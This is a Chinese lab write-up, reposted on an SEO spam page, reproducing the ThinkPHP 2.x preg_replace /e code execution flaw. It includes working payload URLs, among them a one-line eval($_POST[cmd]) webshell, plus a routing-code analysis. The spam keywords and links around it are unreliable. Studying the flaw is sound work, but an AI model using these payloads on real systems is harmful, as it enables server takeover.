当前位置: 首页 > news >正文

注册网站排名公司西安seo服务

注册网站排名公司,西安seo服务,仕德伟做的网站图片怎么修,网站 虚拟主机 操作系统一、漏洞详情影响版本 thinkphp 2.x但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞漏洞原因:e 和 /e模式匹配路由:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行; /e 可执行模式&#xff0c…

一、漏洞详情

影响版本 thinkphp 2.x
但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞

漏洞原因:

e 和 /e模式匹配路由:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

再看看preg_replace这个函数

preg_replace('正则规则','替换字符','目标字符')

就是讲目标字符根据正则规则替换成替换字符

当preg_replace使用了/e模式,可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符(第二个参数)当做代码来执行。

举个例子

官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

最终strtolower("\\1")被执行,相当于 eval(‘strtolower(“\1”);’) 。

strtolower():把所有字符转换为小写

也就是结果是\1,而\1在正则表达式中指定的是第一个子匹配项,phpinfo()就会被成功执行

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

二、复现过程

  1. 搭建docker环境

docker-compose up -d
  1. 写入phpinfo

http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}
  1. 写入一句话木马

http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}

报错但是已经写进去了

连接成功

  1. 代码分析

复现是完成了,但是那个payload是怎么构造出来的呢

// 分析PATHINFO信息self::getPathInfo();if(!self::routerCheck()){   // 检测路由规则 如果没有则按默认规则调度URL$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));$var  =  array();if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {// 禁止直接访问分组exit;}}if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称$var[C('VAR_MODULE')]  =   array_shift($paths);}$var[C('VAR_ACTION')]  =   array_shift($paths);// 解析剩余的URL参数$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));$_GET   =  array_merge($var,$_GET);}
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

意味着每次会取出两个参数,第一个参数作为var数组的下标,第二个参数作为该下标数组的值(也就是只要你的代码放在偶数位就会被当成数组的值执行)

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);

当数组$var在路径存在模块和动作时,会去除掉前2个值,所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。

故可以构造payload:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……

至于s是怎么来的:

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

这篇文章写的非常详细,我也就是照猫画虎,理解最重要。

https://www.freebuf.com/column/223149.html

三、总结

为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。

希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。

学习新思想,争做新青年。

每天给自己来碗鸡汤。

http://www.hkea.cn/news/374287/

相关文章:

  • 中国哪里在大建设网站优化培训学校
  • 自己做的网站点首页出错腾讯广告代理商加盟
  • 如何做免费的网站推广东莞百度seo
  • 宜昌网站制作公司百度竞价官网
  • 建站公司网站模板论坛怎么建网站
  • 上海做b2b网站公司深圳公司网络推广该怎么做
  • 自己做的网站怎么在百度可以查到网络小说网站三巨头
  • 怎么做网站客服弹窗站长之家seo工具包
  • 自己建一个电商网站吗网络营销的定义
  • 专门做金融的招聘网站四川seo选哪家
  • wordpress nginx伪静态配置拼多多seo怎么优化
  • 深圳网站开发电话惠州网络营销
  • 中宁网站建设公司商城全网推广运营公司
  • 网站文章列表如何排版郑州seo技术培训班
  • 小型b2c网站百度开户渠道商哪里找
  • 武进区住房和城乡建设局网站爱站网能不能挖掘关键词
  • APP手机端电子商务网站建设营销成功的案例
  • 公司网站引导页百度搜索关键词排名优化技术
  • 网站开发与维护学什么网站建设seo优化培训
  • 常州网站开发百度网盘电脑版官网
  • wordpress安全权限关键词优化公司哪家好
  • 银川做网站服务google play下载安卓
  • 科技型中小企业服务网安徽搜索引擎优化seo
  • 网站建设专家排名邯郸seo营销
  • 做网站一个月20g流量够吗安全又舒适的避孕方法有哪些
  • 扫二维码直接进网站怎么做怎么提交网址让百度收录
  • 柳州建设局网站广告买卖网
  • 做外贸一般上哪些网站google play谷歌商店
  • 泉州手机网站制作如何做企业产品推广
  • 徐州手机网站设计汕头网站建设优化